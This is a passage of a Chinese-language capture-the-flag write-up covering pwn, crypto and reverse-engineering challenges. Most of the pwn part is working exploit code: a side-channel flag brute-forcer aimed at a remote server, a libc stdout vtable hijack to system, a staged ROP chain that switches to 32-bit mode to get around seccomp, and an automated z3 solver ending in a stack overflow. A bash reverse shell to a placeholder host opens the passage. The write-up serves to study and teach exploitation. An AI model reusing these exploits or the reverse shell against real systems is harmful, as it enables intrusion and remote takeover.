0\u50be\ub7a6\uae7f\u0000/bin/bash\u2020-c\u2020\u2022/bin/bash\u2020-i\u2020>&/dev/tcp/xxx.xxx.xxx.xx/9090\u20200>&1\u2022",
"rops":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
}
### Christmas Song
逆向scan.l 和 parser.y文件得到slang语言语法文法
通过call function open flag read flag 然后利用strncmp侧信道爆破flag
from pwn import *
import string
context.log_level = 'debug'
# sh = remote('124.71.144.133', 2144)
payload = '''
gift work is "12345678901234567890123456789012345678901234567890";
gift path is "/home/ctf/flag";
gift oflag is 0;
gift temp is 0;
gift Size is 48;
gift fd is 0;
gift flag is "{0}";
gift Ans is 1;
gift zero is 0;
gift flagsize is {1};
reindeer Dancer delivering gift path oflag temp brings back gift fd;
reindeer Dasher delivering gift fd work Size;
reindeer Prancer delivering gift work flag flagsize brings back gift Ans;
this family wants gift Ans if the gift is Ans equal to zero : reindeer Rudolph delivering gift path oflag temp brings back gift fd; ok, they should already have a gift;
EOF
'''
flag = 'SCTF{Merry'
cnt = 11
stringset = string.printable
while True:
for i in stringset:
temp = flag + i
log.success(temp)
sh = remote('124.71.144.133', 2144)
sh.sendafter('(EOF to finish):', payload.format(temp, cnt))
# log.success(payload.format(temp, cnt))
try :
sh.recvuntil('error:')
except EOFError:
sh.close()
else:
flag += i
cnt += 1
sh.close()
break
log.success('flag=' + flag)
sh.interactive()
### Christmas Bash
在开始时候将sleep变量的值设置成了libc中sleep可以用此求出libcbase
然后将IO_2_1_stdout的vtable中的_IO_file_jumps改为system, 利用printf即可触发
gift libcbase is sleep - 972880;
gift target is libcbase + 2205080;
gift system is libcbase + 346848;
gift Stdout is libcbase + 2201440 + 4;
gift heap is libcbase + 2198720;
gift var is "12345678";
gift Binsh is ";/home/ctf/getflag >&2";
gift Size is 8;
gift tmp is 30;
gift filename is "wood";
gift offset is 1000;
gift var is var + offset;
reindeer Vixen delivering gift target var Size;
reindeer Vixen delivering gift Stdout Binsh tmp;
reindeer Dancer delivering gift filename Size Size;
### Gadget
题目给了一个简单的栈溢出，但是用 seccomp 限制了 syscall 只能有 (fstat)5 和 (read) 0。
于是问题变成了，如何才能打开 flag 文件。查询 syscall 之后发现，在 i386 架构下，syscall number 5 是
open。因此，我们可以通过切换到 32 位的方式来打开 flag，然后再切换回 64 位模式来读取 flag。
但是仍然还有问题，并没有一个 syscall 可以写 flag 到输出，于是我们只能设计一个方法让远程能够判断 flag
某一位是不是某一个字符。这个方法有很多，我这里选择的是，在 gadget 的最后放一个 read stdin 的操作，这样就能让 ROP
执行完之后卡住。但是在卡住之前，会尝试往一个邻近边界的地址 + 当前 flag
字符的位置写入内容，如果越界了就崩溃（这样程序结束之后也就不会卡住了），如果没有越界就不会崩溃。通过这样的方式就可以判断。
由于 read 函数每次只能读入不到 200 个字符，最后我把 ROP 分成了四个阶段，具体 exploit 脚本如下：
#!/usr/bin/env python3
import os
import time
from zio import *
LOCAL = False
target = './gadget.patched'
if os.getenv('TARGET'):
ary = os.getenv('TARGET').split(':')
target = (ary[0], int(ary[1]))
LOCAL = False
def test(index, guess):
print('testing %d, guess = %#x' % (index, guess))
print('target = %r' % (target, ))
io = zio(target, print_read=COLORED(REPR, 'yellow'), print_write=COLORED(REPR, 'cyan'), timeout=10000)
if LOCAL:
io.gdb_hint(breakpoints=[
# 0x401205, # before ret
0x401222, # before main ret
])
else:
# do proof of work?
# io.readline()
# input('continue?')
pass
flag_addr = 0x40d160
flag_path = b'./flag'
new_stack2 = 0x40D200
new_stack3 = 0x40d400
new_stack4 = 0x40d600
pop_rax_ret = 0x401001 # pop rax/eax ; ret
syscall_pop_ret = 0x401165 # syscall ; pop ebp ; ret
pop_rdi_pop_ret = 0x401734 # pop rdi ; pop rbp ; ret
pop_r14_pop2_ret = 0x0000000000401731 # pop r14 ; pop r15 ; pop rbp ; ret
pop_rsi_pop2_ret = 0x0000000000401732 # pop rsi ; pop r15 ; pop rbp ; ret
pop_rbx_pop3_ret = 0x403072 # pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret | pop ebx ; inc ecx ; pop esi ; inc ecx ; pop edi ; pop ebp ; ret
store_rdi_rax_ret = 0x0000000000403beb # mov qword ptr [rdi + rdx - 0x27], rax ; mov rax, rdi ; ret
access_rcx = 0x0000000000402fee # mov byte ptr [rcx + rdi - 5], 0x89 ; ret
pop_rcx_ret = 0x000000000040117b # pop rcx ; ret
payload = b'_' * 0x30 + b'_____RBP'
payload += l64(pop_rax_ret)
payload += flag_path.ljust(8, b'\0')
payload += l64(pop_rdi_pop_ret)
payload += l64(flag_addr + 0x27)
payload += l64(0x5f5f5f5f5f5f5f5f) # fill rbp
payload += l64(store_rdi_rax_ret)
payload += l64(pop_rdi_pop_ret)
payload += l64(new_stack2) # bss
payload += l64(0x5f5f5f5f5f5f5f5f) # fill rbp
payload += l64(0x401170) # read stage2 ROP
payload += l64(0x401730) # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
payload += l64(new_stack2)
payload2 = b'_' * 24
payload2 += l64(0x401222)
payload2 += l64(0x4011ed) # retf
payload2 += l64(0x401222 | (0x23 << 32))
# mode switched
payload2 += l32(pop_rax_ret)
payload2 += l32(0x5) # open
payload2 += l32(pop_rbx_pop3_ret)
payload2 += l32(flag_addr)
payload2 += l32(0x5f5f5f5f)
payload2 += l32(0x5f5f5f5f)
payload2 += l32(0x5f5f5f5f)
payload2 += l32(pop_rcx_ret)
payload2 += l32(0)
int80_ret = 0x4011f3
payload2 += l32(int80_ret)
# switch back
payload2 += l32(0x4011ed)
payload2 += l32(0x401222)
payload2 += l32(0x33)
payload2 += l64(pop_rdi_pop_ret)
payload2 += l64(new_stack3) # bss
payload2 += l64(0x5f5f5f5f5f5f5f5f) # fill rbp
payload2 += l64(0x401170) # read stage3 ROP
payload2 += l64(0x401730) # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
payload2 += l64(new_stack3)
# 0x0000000000406a43 : add al, byte ptr [rax] ; add byte ptr [rax + 0x14], bh ; syscall
# 0x000000000040884e : je 0x408855 ; movsb byte ptr [rdi], byte ptr [rsi] ; dec edx ; jne 0x408850 ; ret
payload3 = b'_' * 24
payload3 += l64(pop_rax_ret)
payload3 += l64(0)
payload3 += l64(pop_rdi_pop_ret)
payload3 += l64(3) # fd
payload3 += l64(0x5f5f5f5f5f5f5f5f)
payload3 += l64(pop_rsi_pop2_ret)
payload3 += l64(flag_addr)
payload3 += l64(0x5f5f5f5f5f5f5f5f)
payload3 += l64(0x5f5f5f5f5f5f5f5f)
payload3 += l64(syscall_pop_ret)
payload3 += l64(0x5f5f5f5f5f5f5f5f)
payload3 += l64(pop_rdi_pop_ret)
payload3 += l64(new_stack4) # bss
payload3 += l64(0x5f5f5f5f5f5f5f5f) # fill rbp
payload3 += l64(0x401170) # read stage3 ROP
payload3 += l64(0x401730) # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret
payload3 += l64(new_stack4)
payload4 = b'_' * 24
payload4 += l64(pop_rcx_ret)
payload4 += l64(0x40e000 - 1 + 5 - guess)
payload4 += l64(pop_rbx_pop3_ret)
payload4 += l64(0) # rbx = 0
payload4 += l64(access_rcx) # r14
payload4 += l64(0x5f5f5f5f5f5f5f5f) # r15
payload4 += l64(0x5f5f5f5f5f5f5f5f) # rbp
payload4 += l64(pop_rax_ret)
payload4 += l64(flag_addr + index)
payload4 += l64(pop_rsi_pop2_ret)
payload4 += l64(0) + l64(0) + l64(0)
payload4 += l64(0x4011BE) # mov bl, [rsi+rax]; mov rdi, rbx; push r14; ret
payload4 += l64(pop_rdi_pop_ret)
payload4 += l64(flag_addr)
payload4 += l64(0x5f5f5f5f5f5f5f5f)
payload4 += l64(0x401170)
for i, p in enumerate([payload, payload2, payload3, payload4]):
if LOCAL:
input('stage%d?' % (i+1))
else:
time.sleep(0.1)
if len(p) > 0xc0:
raise ValueError('payload2 too long: %#x' % len(p))
io.writeline(p)
try:
io.read_until_timeout(1)
if io.is_eof_seen():
io.close()
return False
else:
io.close()
return True
except ConnectionResetError:
return False
flag = b''
while True:
for i in range(32, 127):
v = test(len(flag), i)
if v:
flag += bytes([i])
break
print('flag = %s' % flag)
if flag.endswith(b'}'):
break
### CheckIn ret2text
连接上端口并且做了 PoW 验证之后，会发送回来一个 base64 的
ELF，打开之后发现是很多运算逻辑，最后在某个深处有一个栈溢出。但是为了达到这个栈溢出的位置，需要自动选择正确的输入到达这个路径。
看起来需要 “符号执行” 技术来达到这样的条件。不过由于对 angr 不太熟，同时也想尝试一下手糙 “符号执行” 的难度有多大，这里选择直接使用 z3
来做。不过这样的代价是，代码量有点收不住。。一道简单的栈溢出题目，写了 500 多行代码，有点超出预想了。。
仔细观察题目发回来的 ELF，我们可以发现以下两个特征：
* 路径很多，但是实际上是一个二叉树结构，没有环形，也没有其他结构。而漏洞函数就在二叉树叶子节点的某个分支。
* 虽然验证代码比较长，但是总共只有两种，一种是输入几个数字，计算一道数学题；另一种是输入一段字符串，然后做一些位运算之后，与一个结果相比较。
因此可以用以下思路来解决：
* 先把 ELF 做反汇编，然后建立每一个指令和能达到的指令的关联。
* 遍历指令，找到溢出的地方在哪里。
* 根据第一步形成的关联，反向一直寻路到 main 函数起点（毕竟没有环路），并标记沿途中有多个出口指令的分叉选择。
* 最后再从 main 函数正向走到漏洞点，根据路径分叉选择来计算正确的输入是什么。如果是需要匹配的，那么用 z3 计算出正确的结果；如果不需要匹配的，那么随机生成一个输入即可通过。
最后基于上述思路，添加亿点点细节，即可拿到 flag（可能是有史以来为一个 pwn 题写过的最长的代码）：
#!/usr/bin/env python3
import os
from typing import List
import subprocess
import base64
import random
import re
from dataclasses import dataclass
from z3 import Solver, BitVec, BitVecVal, sat, unsat
from zio import *
@dataclass
class Ins:
index: int
addr: str
exits: List[str]
opcode: str
args: List[str]
choice: str
def __str__(self):
return '%s: %s %s -> %s' % (self.addr, self.opcode, ','.join(self.args), self.exits)
def load_disasm(filepath):
valid = False
cnt = 0
instructions = []
mapping = {}
reverse_map = {}
for line in open(filepath):
cnt += 1
if '<main>:' in line:
valid = True
continue
elif '<_Unwind_Resume@plt>' in line:
valid = False
continue
if not valid or not line.strip():
continue
ary = line[:-1].split('\t')
addr = ary[0].split(':')[0].strip()
instruction = ary[2].split('#')[0].strip()
ary = instruction.split(maxsplit=1)
if len(ary) == 2:
opcode, args = ary
else:
opcode = ary[0]
args = ''
args = args.split(',')
ins = Ins(
index=len(instructions),
addr=addr,
opcode=opcode,
args=args,
exits=[],
choice=None,
)
target = args[0].split(' ')[0]
if opcode == 'jmp':
ins.exits.append(target)
reverse_map.setdefault(target, [])
reverse_map[target].append(addr)
elif opcode in ['je', 'jne', 'jg', 'jbe']:
ins.exits.append(None)
ins.exits.append(target)
reverse_map.setdefault(target, [])
reverse_map[target].append(addr)
else:
ins.exits.append(None)
if opcode.startswith('j'):
raise ValueError('unhandled jmp: %s' % opcode)
if len(instructions) and instructions[-1].exits[0] is None:
instructions[-1].exits[0] = addr
reverse_map.setdefault(addr, [])
reverse_map[addr].append(instructions[-1].addr)
instructions.append(ins)
mapping[addr] = ins
for ins in instructions:
print(ins)
return instructions, mapping, reverse_map
def find_overflow():
pattern = re.compile(r'\[rbp-(\w+)\]')
for i, ins in enumerate(instructions):
if ins.opcode == 'call' and 'input_line' in ins.args[0]:
lea_rax_rbp = instructions[i-3]
assert lea_rax_rbp.opcode == 'lea'
assert lea_rax_rbp.args[0] == 'rax'
mo = pattern.match(lea_rax_rbp.args[1])
if not mo:
raise ValueError('opcode incorrect: %s' % lea_rax_rbp.args[1])
offset = int(mo.group(1), 0)
mov_esi = instructions[i-2]
assert mov_esi.opcode == 'mov'
assert mov_esi.args[0] == 'esi'
length = int(mov_esi.args[1], 0)
if length - offset >= 8:
return i, offset, length
def find_path(idx):
addr = instructions[idx].addr
path = [addr]
while True:
prev = reverse_map[addr]
if len(prev) > 1:
raise ValueError('multiple path: %s' % prev)
prev = prev[0]
mapping[prev].choice = addr
addr = prev
path.append(addr)
if mapping[addr].index == 0:
break
for p in path[::-1]:
print(p)
def parse(symbols, operand:str, size=32):
try:
return BitVecVal(int(operand, 0), size)
except:
return symbols[operand]
def store(symbols:dict, operand:str, value):
symbols[operand] = value
def add(solver, symbols, args, size=32):
a = parse(symbols, args[0], size=size)
b = parse(symbols, args[1], size=size)
c = a + b
store(symbols, args[0], c)
def sub(solver, symbols, args, size=32):
a = parse(symbols, args[0], size=size)
b = parse(symbols, args[1], size=size)
c = a - b
store(symbols, args[0], c)
def imul(solver, symbols, args, size=32):
a = parse(symbols, args[0], size=size)
b = parse(symbols, args[1], size=size)
c = a * b
store(symbols, args[0], c)
def xor(solver, symbols, args, size=32):
a = parse(symbols, args[0], size=size)
b = parse(symbols, args[1], size=size)
c = a ^ b
store(symbols, args[0], c)
def mov(solver, symbols, args, size=32):
b = parse(symbols, args[1])
store(symbols, args[0], b)
def bitwise_not(solver, symbols, args, size=32):
a = parse(symbols, args[0], size=size)
c = ~a
store(symbols, args[0], c)
def cmp(solver, symbols, args, size=32):
a = parse(symbols, args[0])
b = parse(symbols, args[1])
solver.add(a == b)
def solve_math(block, match):
print('solve_math')
for b in block:
print(' ', b)
# DWORD PTR [rbp-0x5e0]
pattern = re.compile(r'DWORD PTR \[rbp-(\w+)\]')
solver = Solver()
symbols = {}
user_input = []
ops = {
'mov': mov,
'add': add,
'sub': sub,
'cmp': cmp,
'xor': xor,
'imul': imul,
}
i = 0
while i < len(block):
ins = block[i]
if ins.opcode == 'call' and 'input_val' in ins.args[0]:
store_ins = block[i+1]
assert store_ins.opcode == 'mov'
assert store_ins.args[1] == 'eax'
mo = pattern.match(store_ins.args[0])
if not mo:
print(store_ins)
raise ValueError('not match')
else:
bv = BitVec(store_ins.args[0], 32)
user_input.append(bv)
symbols[store_ins.args[0]] = bv
i += 2
else:
if len(user_input):
ops[ins.opcode](solver, symbols, ins.args, size=32)
i += 1
if not match:
return [random.randint(0, 65535) for i in range(len(user_input))]
if solver.check() == sat:
m = solver.model()
ret = []
for i in range(len(user_input)):
v = m[user_input[i]]
if v is not None:
ret.append(v.as_long())
else:
ret.append(0x5f)
return ret
raise Exception('unsat')
def solve_array(block, match):
print('solve_array')
for b in block:
print(' ', b)
solver = Solver()
symbols = {}
pattern = re.compile(r'\[rbp-(\w+)\]')
pattern2 = re.compile(r'\[rip\+(\w+)\]')
user_input = []
ops = {
'movzx': mov,
'mov': mov,
'add': add,
'sub': sub,
'cmp': cmp,
'xor': xor,
'not': bitwise_not,
}
i = 0
while i < len(block):
ins = block[i]
print(i, ins)
if ins.opcode == 'call' and 'input_line' in ins.args[0]:
mov_esi = block[i-2]
assert mov_esi.opcode == 'mov'
assert mov_esi.args[0] == 'esi'
length = int(mov_esi.args[1], 0)
lea_ins = block[i-3] # lea rax,[rbp-0x6e0]
assert lea_ins.opcode == 'lea'
assert lea_ins.args[0] == 'rax'
mo = pattern.search(lea_ins.args[1])
if mo:
base = int(mo.group(1), 16)
else:
raise ValueError('invalid option: %s' % lea_ins.args[1])
print('length = %#x' % length)
for j in range(length):
key = 'BYTE PTR [rbp-%#x]' % (base-j)
bv = BitVec(key, 8)
symbols[key] = bv
user_input.append(bv)
i += 1
else:
if len(user_input):
if ins.opcode in ['lea', 'test', 'setz', 'sete']:
pass
elif ins.opcode == 'call':
lea_rsi = block[i-2]
assert lea_rsi.opcode == 'lea'
assert lea_rsi.args[0] == 'rsi'
mo = pattern2.match(lea_rsi.args[1])
if not mo:
raise ValueError('invalid lea_rsi: %s' % lea_rsi)
pos = int(mo.group(1), 0) + int(lea_rsi.choice, 16) - 0x400000
value = bin_content[pos:pos+length]
for j in range(length):
key = 'BYTE PTR [rbp-%#x]' % (base-j)
solver.add(symbols[key] == BitVecVal(value[j], 8))
elif ins.opcode == 'mov' and ins.args[1] == 'rax':
pass
else:
if len(ins.args) > 1 and ins.args[1] == 'al':
args = [ins.args[0], 'eax']
else:
args = ins.args
ops[ins.opcode](solver, symbols, args, size=8)
i += 1
if not match:
return bytes([random.randint(65, 90) for i in range(len(user_input))])
if solver.check() == sat:
m = solver.model()
ret = []
for i in range(len(user_input)):
ret.append(m[user_input[i]].as_long())
return bytes(ret)
raise Exception('unsat')
def walk(io):
idx = 0
addr = instructions[0].addr
block = []
while True:
ins = mapping[addr]
if len(ins.exits) == 1:
if ins.choice != ins.exits[0]:
return
block.append(ins)
addr = ins.choice
continue
print('handling block with %d instructions' % (len(block), ))
assert ins.choice in ins.exits
if block[-1].opcode == 'cmp':
# math
if ins.choice in ins.args[0]:
if ins.opcode in ['jz', 'je']:
should_match = True
else:
print(ins)
assert ins.opcode in ['jnz', 'jne']
should_match = False
else:
if ins.opcode in ['jz', 'je']:
should_match = False
else:
assert ins.opcode in ['jnz', 'jne']
should_match = True
ret = solve_math(block, should_match)
v = ' '.join([str(x) for x in ret])
print('solve math:', v)
io.read_until(b':')
io.write(v + ' ')
elif block[-1].opcode == 'test':
if ins.choice in ins.args[0]:
if ins.opcode in ['jz', 'je']:
should_match = False
else:
assert ins.opcode in ['jnz', 'jne'], ins.opcode
should_match = True
else:
if ins.opcode in ['jz', 'je']:
should_match = True
else:
assert ins.opcode in ['jnz', 'jne']
should_match = False
ret = solve_array(block, should_match)
print('solve array:', ret)
io.read_until(b':')
io.write(ret)
else:
print(block[-1])
raise ValueError('not possible')
print('next block entry: %s' % ins.choice)
block = []
addr = ins.choice
LOCAL = True
target = './bin.patched'
if os.getenv('TARGET'):
ary = os.getenv('TARGET').split(':')
target = (ary[0], int(ary[1]))
LOCAL = False
def solve_pow(suffix, hsh):
if isinstance(hsh, bytes):
hsh = hsh.decode('utf-8')
if isinstance(suffix, bytes):
suffix = suffix.decode('utf-8')
p = ['hashcat', '--potfile-disable', '--quiet', '--outfile-format', '2', '-a', '3', '-m1400', hsh.strip(), '?a?a?a?a' + suffix.strip()]
pio = zio(p)
x = pio.readline()
pio.close()
return x[:4]
print('target = %r' % (target, ))
io = zio(target, print_read=COLORED(RAW, 'yellow'), print_write=COLORED(RAW, 'cyan'), timeout=10000)
if LOCAL:
io.gdb_hint(breakpoints=[
0x40141F,
])
bin_content = open(target, 'rb').read()
instructions, mapping, reverse_map = load_disasm('disasm.txt')
else:
io.read_until(b'sha256(xxxx + ')
suffix = io.read_until(b') == ', keep=False)
hsh = io.read_line(keep=False)
ans = solve_pow(suffix, hsh)
io.read_until(b'give me xxxx:')
io.writeline(ans)
b64 = io.read_until(b'==end==', keep=False)
bin_content = base64.b64decode(b64.strip())
with open('bin.tmp', 'wb') as f:
f.write(bin_content)
with open('bin.tmp.disasm.txt', 'w') as f:
proc = subprocess.run(['objdump', '-M', 'intel', '-d', './bin.tmp'], stdout=f, stderr=f)
instructions, mapping, reverse_map = load_disasm('bin.tmp.disasm.txt')
idx, overflow_offset, overflow_size = find_overflow()
print(idx)
print(instructions[idx-3])
print(instructions[idx-2])
print(instructions[idx-1])
print(instructions[idx-0])
find_path(idx)
walk(io)
ret = 0x401379
system = 0x40134C
payload = l64(ret) * ((overflow_offset // 8) + 1) + l64(ret) + l64(system)
io.write(payload.ljust(overflow_size, b'_'))
io.interact()
## Crypto
### ciruit map
描述：
A valid map
Digital circuits is hard , right?
<https://vergissmeinnichtz.github.io/posts/2021dicectf-writeup/> 2021dicectf原题
import hashlib
from Crypto.Util.number import long_to_bytes
def xor(A, B):
return bytes(a ^ b for a, b in zip(A, B))
input = [
[13675268, 8343801],
[12870274, 10251687],
[12490757, 6827786],
[3391233, 2096572],
[4567418, 15707475],
[3648155, 14095476],
[8680011, 14409690],
[2504390, 9376523] #先求出的key
]
xor1 = b''
for i in input:
tmp = sum(i)
xor1 += bytes(long_to_bytes(tmp))
mask = hashlib.md5(xor1).digest()
flag = long_to_bytes(0x1661fe85c7b01b3db1d432ad3c5ac83a)
print(xor(mask, flag))
### cubic
nc 123.60.153.41 7002
A valid cubic
经典的自定义群运算题目，很显然这是一个有限群，所以其商群必然存在循环群。根据欧拉定理的证明可以得出，欧拉定理适用的条件是循环群，因此该题目定义的群是符合欧拉定理的。RSA也是基于欧拉定理，所以这道题和RSA的解法很像。
现在的关键问题是寻找一种方法求群上元素的阶，这是应用欧拉定理的关键数据。观察代码可以看出这个群的单位元是`(None,
None)`，我们不妨打个表来找一下规律，用下面的脚本：
from Crypto.Util.number import *
def add(P, Q, mod):
x1, y1 = P
x2, y2 = Q
if x2 is None:
return P
if x1 is None:
return Q
if y1 is None and y2 is None:
x = x1 * x2 % mod
y = (x1 + x2) % mod
return (x, y)
if y1 is None and y2 is not None:
x1, y1, x2, y2 = x2, y2, x1, y1
if y2 is None:
if (y1 + x2) % mod != 0:
x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod
y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod
return (x, y)
elif (x1 - y1 ** 2) % mod != 0:
x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod
return (x, None)
else:
return (None, None)
else:
if (x1 + x2 + y1 * y2) % mod != 0:
x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod
y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod
return (x, y)
elif (y1 * x2 + x1 * y2 + 2) % mod != 0:
x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod
return (x, None)
else:
return (None, None)
def myPower(P, a, mod):
target = (None, None)
t = P
while a > 0:
if a % 2:
target = add(target, t, mod)
t = add(t, t, mod)
a >>= 1
return target
def genPrime(nbits):
while True:
a = random.getrandbits(nbits // 2)
b = random.getrandbits(nbits // 2)
if b % 3 == 0:
continue
p = a ** 2 + 3 * b ** 2
if p.bit_length() == nbits and p % 3 == 1 and isPrime(p):
return p
def order(v, p):
i = 1
while True:
if myPower(v, i, p) == (None, None):
return i
i += 1
test = (1, 1)
print("p\t\torder\t\tp^2\t\t\tp^3")
for _ in range(10):
p = genPrime(8)
print("%d\t\t%d\t\t%d\t\t%d" % (p, order(test, p), p ** 2, p ** 3))
分析输出：
p order p^2 p^3
199 13267 39601 7880599
199 13267 39601 7880599
211 14911 44521 9393931
199 13267 39601 7880599
181 10981 32761 5929741
163 1273 26569 4330747
211 14911 44521 9393931
193 12481 37249 7189057
151 7651 22801 3442951
241 19441 58081 13997521
发现，$p^3-1$都是order的倍数。那么完全可以当作阶来用。又因为flag不会太大，因此题目中用的模数`pad*N`完全可以用`p`或者`q`代替，这样这个题就做出来了。
exp如下：
from math import gcd
import gmpy2
from Crypto.Util.number import inverse, long_to_bytes
def RSAdecompose(n, ed):
tmp = ed - 1
s = 0
while tmp % 2 == 0:
s += 1
tmp //= 2
t = tmp
A = 0
I = 0
find = False
for a in range(2, n):
for i in range(1, s + 1):
if pow(a, pow(2, i - 1) * t, n) != 1 and pow(a, pow(2, i - 1) * t, n) != n - 1 and pow(a, pow(2,i) * t, n) == 1:
A = a
I = i
find = True
break
if find:
break
if A == 0 and I == 0:
return None
p = gcd(pow(A, pow(2, I - 1) * t, n) - 1, n)
q = n // p
assert p * q == n
return (p, q)
def rational_to_quotients(x, y):
a = x // y
quotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
quotients.append(a)
return quotients
def convergents_from_quotients(quotients):
convergents = [(quotients[0], 1)]
for i in range(2, len(quotients) + 1):
quotients_partion = quotients[0:i]
denom = quotients_partion[-1] # 分母
num = 1
for _ in range(-2, -len(quotients_partion), -1):
num, denom = denom, quotients_partion[_] * denom + num
num += denom * quotients_partion[0]
convergents.append((num, denom))
return convergents
def WienerAttack(e, n):
quotients = rational_to_quotients(e, n)
convergents = convergents_from_quotients(quotients)
for (k, d) in convergents:
if k and not (e * d - 1) % k:
phi = (e * d - 1) // k
# check if (x^2 - coef * x + n = 0) has integer roots
coef = n - phi + 1
delta = coef * coef - 4 * n
if delta > 0 and gmpy2.iroot(delta, 2)[1] == True:
return d
def add(P, Q, mod):
x1, y1 = P
x2, y2 = Q
if x2 is None:
return P
if x1 is None:
return Q
if y1 is None and y2 is None:
x = x1 * x2 % mod
y = (x1 + x2) % mod
return (x, y)
if y1 is None and y2 is not None:
x1, y1, x2, y2 = x2, y2, x1, y1
if y2 is None:
if (y1 + x2) % mod != 0:
x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod
y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod
return (x, y)
elif (x1 - y1 ** 2) % mod != 0:
x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod
return (x, None)
else:
return (None, None)
else:
if (x1 + x2 + y1 * y2) % mod != 0:
x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod
y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod
return (x, y)
elif (y1 * x2 + x1 * y2 + 2) % mod != 0:
x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod
return (x, None)
else:
return (None, None)
def myPower(P, a, mod):
target = (None, None)
t = P
while a > 0:
if a % 2:
target = add(target, t, mod)
t = add(t, t, mod)
a >>= 1
return target
e = 4900663392474333511021274640586676041190209685334279465644481953732654820007817465784732552403161544491127978960528622855662226436013278818654816634231988610344582782186016441780833459265436490192924918161499546130585534712016341883862636292562878766223441301439228458011482886280440623319855294068082796058072724036574171831263278231498144433634711174601580662800543021165022020993826916028784897066067245828422668690991474561604415237342722134303009211975140707793593659250476825594367676528487883099797429162461388379576349794949052029036932537743737882862455041914136992742454025785618036422947521579196419682673
N = 16747204882417711556566528921331201720409686477045148358102407358649177037162364757337579737480709279957814538616282656834391036843801973604436858315398426544680221288140414500707975771367683893038710797912471910646361535977073670535351131336367114860464749825264434600778157181779675957160461431719021503108817300190687402628173857695242091154625300957259974276165473530538699640521880788598671262492360267197522031691979305758467455462308866998372462867278079383311005053482404930635325015230152289437841471244731705014411625162283665596766705850908703578792897039321331779312997615919261149792657373096116865329681
cipher = (1502537198037412138959404925273947125135815733714613113514320632189593377751418476234621558490959338311604744450862970281032410900602855827915451892812987364777765959947084373897245818509290955227026042711684121325311823058498537239012028561792486103281876155615838531477852906000341526557222599310995739831543658223880935572087312742332183395367851697095266248237233506401316404436470875195714876017630583057770038474875796980993028217458408971552567154328292460799613025812259659231108327829165282506352092076311191840744613851846363317595941811588179124381597704935053201484470162263659131968489028564549622533697954537751062579586560414593976837419255907900029822338445737875577148140312280440226776902211723292101877348185901719741368457958588921796200981975075293129980056841456107867653473926640266384852447661565261302935222903023606406288336953609068541701972215445007377344441511973422565646147322055069598488293931, 1011403345603727408945876921250066820314220339105409921963107559195469502064003760326598913179366575981301702956740453627420761328713409390410661289472471898555514549526488404880640921605411282791715962933303870043871446613392022087329011550301515712639691076925568594867583281055065644358838017936361812762277354217939625893846603092627092038863632584999212161084360711665335337867672785946059549908812080484214952167276959823859872433687012399699321821628902087613134849101298661182346870557214136938336080489056200804879187330910338994984002258978932867300612824944744731909867671800598959017549057154534956670423369755122935318059535865610235297367836119658331560061846307081157317985910548447143673273543728783307221862568130810339529595961095105799484367002894090836242935087629943182476006427583114853476474037533007772721440732363420948049914690375136821227018708695289507462018947270591332826564337207730588105092063)
padding = 105633841121800385495299323793575525757662062720618660464374134421074511358214855668399510418917564552735810735896127683524211092138747188289947813061924731524251612980721176172871908031798142300682065573614320720911139764848510512663864510199192378016664027839477108506581437250078083046615135331808942191529
d = WienerAttack(e, N)
p, q = RSAdecompose(N, e * d)
msg = myPower(cipher, inverse(e, (p ** 3 - 1)), p)
flag = long_to_bytes(msg[0]) + long_to_bytes(msg[1])
print(flag)
## Rev
### **SycGame**
逆向后得出是一个推箱子游戏，给出 flag 的条件是连续玩游戏赢 5 次。
游戏的流程为：
1. 生成一个固定的长度为 3001 的数组，数组值为 0 或 1。
2. 随机生成一个 20 x 20 大小的地图，地图上有一些正整数和 -1、-2、-3。如果是 -1 则是箱子，-2 是玩家位置，-3 是箱子的目的地。如果是正整数则对应回第 1 步所得的数组小下标，如果是 0 就是不能走，1 就是可以走。
3. 将地图作为一个长度为 400 的列表输出。
4. 读入 w、a、s、d 的输入，根据输入移动玩家位置。如果玩家位置移动的方向有箱子，则将箱子同方向移动（推箱子）；如果箱子移动的方向有目的地，则将箱子推到目的地上并给一个计数器 +1。如果箱子从目的地上被推开了则将计数器 -1。
5. 当计数器的值等于箱子的数量则游戏胜利，否则如果玩家走到了不能走的地方或者非法输入则游戏失败。
搞懂了这个之后剩下就是写算法玩游戏了。因为箱子和目的地没有特定的关系（任何箱子推到任何目的地都算成功），所以我们直接用贪心和 BFS
来搜索。具体方式是先选一个没有处理过的箱子，接着 BFS
搜到最近的目的地（搜索的时候保证推的方向的反方向格子是可以走到的）。得到路径后，对于每一个推的操作，从玩家当前位置 BFS
搜到推箱子操作的反方向，然后推箱子。重复这个过程直到箱子被推到终点，然后将箱子的位置设成不能走，保证以后不会不小心碰到箱子。最后重复整个过程直到所有箱子被推到终点。
程序生成的地图不保证有解，包括我们的算法也处理不了一些特殊情况，所以有时候搜不出来解。还有一些程序本身的 bug，比如不能走到 -3 或者 -2
的上面，导致算法有时候会与程序的模拟不一致。不过只要我们有获胜的概率，我们可以重复游玩，直到连续五次胜利。这个概率不算太高，不过玩大概 200
盘左右就有一次，所以我们直接失败重开，最后成功拿到 flag。
### **SycOS**
#include<stdlib.h>
#include <stdio.h>
#include <stdint.h>
uint64_t d_2ec8 = 0;
uint8_t d_2ed8[0x80 * 0x20];
uint8_t d_2ed0[0x80 * 0x20];
uint8_t fakerandom() {
